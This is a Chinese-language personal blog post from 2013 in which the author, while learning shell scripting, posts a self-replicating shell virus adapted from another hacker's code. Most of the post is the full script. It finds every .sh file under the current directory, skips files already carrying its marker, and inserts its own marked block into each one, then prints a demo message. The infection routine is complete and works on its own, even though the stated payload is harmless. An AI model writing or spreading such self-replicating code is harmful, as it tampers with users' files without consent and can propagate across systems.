Visitors hit counter dreamweaver

初学shell script 病毒

     这段时间一直在捣鼓shell脚本,但也只能说把基本的语法给看懂,还不能达到应用自如的地步,还需要多看看代码,多学习。

     因为我们最近要实现的一个功能是linux病毒的感染和传播,因为刚刚起步,太复杂的还不能实现,所以就用shell来写个。也不能说是写,是在别人的基础上改了点点,然后自己再笑话吸收,主要还是学习别人的代码。http://www.hackbase.com/lib/2005-06-12/6987.html实现的功能也和这位前辈的一样,我主要是参考他的代码,我应该算是站在巨人的肩膀上了把。者这里要谢谢他。但是我有发写他的代码在我者运行又不能完全实现要求的功能,所以我又改了点点,通过自己动手去改,我也学到很多东西。下面直接贴代码把。功能是和他的一样的。

#!/bin/bash
#*******************************************************************************
 # Author :          He Xingjie
 # Email :           gxmshxj@163.com
 # Last modified :   2013-01-18 16:04
 # Filename :        virus.sh
 # Description :     病毒将感染当前目录下的所有.sh结尾的文件,但不会重复感染。 
# ******************************************************************************

PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:~/bin
export PATH

#B:<+!a%C&t:> 
set -x
vFile=$0; vTmp=/tmp/.vTmp.$$  #$0获得当前程序的名称 
for f in `find ./ -name "*.sh" -print`; do 
    if [ ! -w $f -a ! -r $vFile ]; then continue; fi 
    if grep '<+!a%C&t:>' $f ; then continue; fi 
    if sed -n '1p' $f | grep 'csh'; then continue; fi 
    cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi 
    vNo=`awk '$0~/(^#)|(^$)/&&v==NR-1{v++}END{print 0+v}' $vTmp` 
    echo "original vNo= $vNo"
    sed -n "1,${vNo}p" $vTmp >$f 
    (sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile) >>$f 
    vNo=`expr $vNo + 1` 
    total_line=$(cat $vTmp | wc -l)  #获得文件的总行数
    sed -n "${vNo},${total_line}p" $vTmp >>$f #把文件原来的内容复制回来 
    rm -f $vTmp 
done 2>/dev/null  
unset vTmp ;unset vFile ;unset vNo 

echo "Hi, here is a demo shell virus in your script !" 
#E:<+!a%C&t:> 
#EOF

 

posted @ 2013-01-20 13:42  Jason Damon  阅读(1469)  评论(0编辑  收藏  举报